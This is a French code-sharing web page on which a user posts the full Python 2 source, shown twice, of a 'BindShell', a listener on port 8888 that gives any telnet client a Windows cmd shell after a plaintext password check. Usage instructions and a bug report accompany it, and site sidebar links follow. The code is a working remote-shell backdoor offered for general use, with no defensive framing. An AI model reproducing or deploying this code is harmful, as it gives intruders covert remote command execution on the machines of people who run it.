Accueil > > > BINDSHELL BASIQUE
BINDSHELL BASIQUE
Information sur la source
Description
C'est un simple BindShell dont javais besoin pour une appli plus importante, je le met ici, ça peut servir ;)
pour le lancer BindShell.py port pass (ou juste BindShell.py)
pour sy connecter telnet ip port
Ca necessite python 2.4 pour avoir subprocess ou alors 2.3 en remplacant if 0: par if 1: au debut du fichier si on a installé win32all
Source
- #
- # A simple BindShell in Python
- #
- # Usage : bindshell.py port pass
- #
- import socket, thread, subprocess, sys, time
-
- class BindShell:
- """Simple BindShell avec mdp
- """
- def __init__(self, port, passwd='BindShell'):
- self.passwd=passwd
- self.port=port
- self.running=False
- self.inf=open('log.bl', 'w')
- self.out=open('log.bl', 'r')
- def __wait_for_con(self):
- while self.running==True:
- clientsock, ip=self.sock.accept()
- self.__ident(clientsock)
-
- def __ident(self, sock):
- try:
- sock.send('Simple BindShell by Bl0tCh\r\n\r\nPassword : ')
- pw=''
- while 1:
- msg=sock.recv(1024)
- if(msg[-1]=='\n'):
- if(pw+msg[:-2]==self.passwd) : break
- else : pw=''; sock.send('\r\nRetry : ')
- else:
- pw+=msg
- sock.send('\r\n Identification Ok, switching on ShellBox\r\n\r\n')
- thread.start_new_thread(self.__wait_msg, (sock, self.__make_shell(sock)))
- except:
- sock.close()
-
- def __make_shell(self, sock):
- child=subprocess.Popen('cmd', stdin=subprocess.PIPE,stdout=self.inf, stderr=self.inf)
- time.sleep(0.15)
- self.__output(sock, self.out.read().replace('\n', '\r\n'))
- return child.stdin.write
-
- def __wait_msg(self, sock, shell):
- while self.running==True:
- try:
- cmd=sock.recv(1024)
- except:
- break
- try:
- shell(cmd[-1])
- except:
- continue
- time.sleep(0.15)
- if(self.__output(sock, self.out.read().replace('\n', '\r\n'))==0) : self.running=False; break
- try:
- sock.close()
- except:
- pass
-
- def __output(self, sock , output):
- try:
- sock.sendall(output)
- return 1
- except:
- return 0
-
- def start(self):
- if(self.running==False):
- self.sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- self.sock.bind(('0.0.0.0', self.port))
- self.sock.listen(1)
- self.running=True
- self.__wait_for_con()
-
- def stop(self):
- self.running=False
- self.sock.close()
-
- if __name__=='__main__':
- print 'testing BindShell'
- port, passwd=8888, 'BindShell'
- if(len(sys.argv)!=1):
- try:
- port=sys.argv[1]
- passwd=sys.argv[2]
- except:
- pass
- b=BindShell(port, passwd)
- b.start()
#
# A simple BindShell in Python
#
# Usage : bindshell.py port pass
#
import socket, thread, subprocess, sys, time
class BindShell:
"""Simple BindShell avec mdp
"""
def __init__(self, port, passwd='BindShell'):
self.passwd=passwd
self.port=port
self.running=False
self.inf=open('log.bl', 'w')
self.out=open('log.bl', 'r')
def __wait_for_con(self):
while self.running==True:
clientsock, ip=self.sock.accept()
self.__ident(clientsock)
def __ident(self, sock):
try:
sock.send('Simple BindShell by Bl0tCh\r\n\r\nPassword : ')
pw=''
while 1:
msg=sock.recv(1024)
if(msg[-1]=='\n'):
if(pw+msg[:-2]==self.passwd) : break
else : pw=''; sock.send('\r\nRetry : ')
else:
pw+=msg
sock.send('\r\n Identification Ok, switching on ShellBox\r\n\r\n')
thread.start_new_thread(self.__wait_msg, (sock, self.__make_shell(sock)))
except:
sock.close()
def __make_shell(self, sock):
child=subprocess.Popen('cmd', stdin=subprocess.PIPE,stdout=self.inf, stderr=self.inf)
time.sleep(0.15)
self.__output(sock, self.out.read().replace('\n', '\r\n'))
return child.stdin.write
def __wait_msg(self, sock, shell):
while self.running==True:
try:
cmd=sock.recv(1024)
except:
break
try:
shell(cmd[-1])
except:
continue
time.sleep(0.15)
if(self.__output(sock, self.out.read().replace('\n', '\r\n'))==0) : self.running=False; break
try:
sock.close()
except:
pass
def __output(self, sock , output):
try:
sock.sendall(output)
return 1
except:
return 0
def start(self):
if(self.running==False):
self.sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind(('0.0.0.0', self.port))
self.sock.listen(1)
self.running=True
self.__wait_for_con()
def stop(self):
self.running=False
self.sock.close()
if __name__=='__main__':
print 'testing BindShell'
port, passwd=8888, 'BindShell'
if(len(sys.argv)!=1):
try:
port=sys.argv[1]
passwd=sys.argv[2]
except:
pass
b=BindShell(port, passwd)
b.start()
Conclusion
Petit bug et demande d'aide lol :
Quand on fait un dir par exemple apres, impossibilité de lire ce quon ecrit ds la fenetre telnet :s
Pareil si on envoi des caracteres bizarres comme ^, $ ou ù...etc.
Sources du même auteur
Sources de la même categorie
Commentaires et avis
|
Derniers Blogs
CSS CONTENT STATE SELECTORS (PERSONNAL DRAFT)CSS CONTENT STATE SELECTORS (PERSONNAL DRAFT) par FREMYCOMPANY
Bonjour à tous, Je viens de publier une proposition comprenant 5 pseudo-classes pour le CSS Working Group ayant trait à l'état de chargement d'un élément (ex: IMG,VIDEO,AUDIO,OBJECT pour l'HTML.). Si le c½ur vous en dit, vous pouvez retrouver cette p...
Cliquez pour lire la suite de l'article par FREMYCOMPANY MBA : POURQUOI FAIRE ET COMMENT LE CHOISIR ?MBA : POURQUOI FAIRE ET COMMENT LE CHOISIR ? par ROMELARD Fabrice
Formation initiale Durant la formation, le découpage classique est le suivant (je donnerai les équivalences Suisse lorsque je les connaîtrais) : Ecole primaire jusqu'au Collège : Formation générale permettant d'obtenir les méthodes...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice Y'A DES ERREURS QUI PEUVENT RENDRE LE DéVELOPPEUR VIOLENTY'A DES ERREURS QUI PEUVENT RENDRE LE DéVELOPPEUR VIOLENT par Aleks
Quand on a ce genre d'erreur sans log :
Et bas on a juste envie de choper le gas de Microsoft qu'a développé ça et lui foutre des baffes de Coboye ! ...
Cliquez pour lire la suite de l'article par Aleks [HYPER-V 3] PRéSENTATION DES COMMANDLETS POWERSHELL[HYPER-V 3] PRéSENTATION DES COMMANDLETS POWERSHELL par Pierrick CATRO-BROUILLET
Avec la sortie prochaine de la Beta Consumer Preview de Windows 8, j'avais envie de revenir sur une des fonctionnalités que j'attends le plus et que, en bon geek que je suis, j'utilise déjà : Hyper-V 3 ainsi son module PowerShell.
Il y a déjà pléthor...
Cliquez pour lire la suite de l'article par Pierrick CATRO-BROUILLET IIS7 - COMPRESSION GZIPIIS7 - COMPRESSION GZIP par cyril
La compression GZIP permet d'améliorer les performances de navigation en compressant ce qu'envoie le serveur à un client. Pour comprendre comment cela fonctionne, regardons ce qu'il se passe au niveau HTTP lorsqu'un client tente d'accéder à une ress...
Cliquez pour lire la suite de l'article par cyril
Forum
PYVISA PROBLèMEPYVISA PROBLèME par sandrine44
Cliquez pour lire la suite par sandrine44
Logiciels
Easy-Planning (1.0.0.1)EASY-PLANNING (1.0.0.1)Basé sur les mêmes principes que MyPlanning, Easy-Planning permet de créer des plannings sous la ... Cliquez pour télécharger Easy-Planning Academy System (17.1.3.0)ACADEMY SYSTEM (17.1.3.0)Logiciel de gestion des établissements.
- élèves/étudiants (inscription, dossier, absence...)
-... Cliquez pour télécharger Academy System COLLECTOR PLUS (3.00B)COLLECTOR PLUS (3.00B)COLLECTOR PLUS version 3.00B est un logiciel utilisant une base de données alimentée par :
- L... Cliquez pour télécharger COLLECTOR PLUS PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO (V7.4)PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO (V7.4)PONAMEDIA TV DEVIENS HELLLOOO FLASH
LA TV SUR VOTRE ORDINATEUR.
Toute une plateforme Multi... Cliquez pour télécharger PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO LettresFaciles 2011 (8.0.0.1)LETTRESFACILES 2011 (8.0.0.1)LettresFaciles est un logiciel facilitant la création et la rédaction de lettres types.
Son inte... Cliquez pour télécharger LettresFaciles 2011
|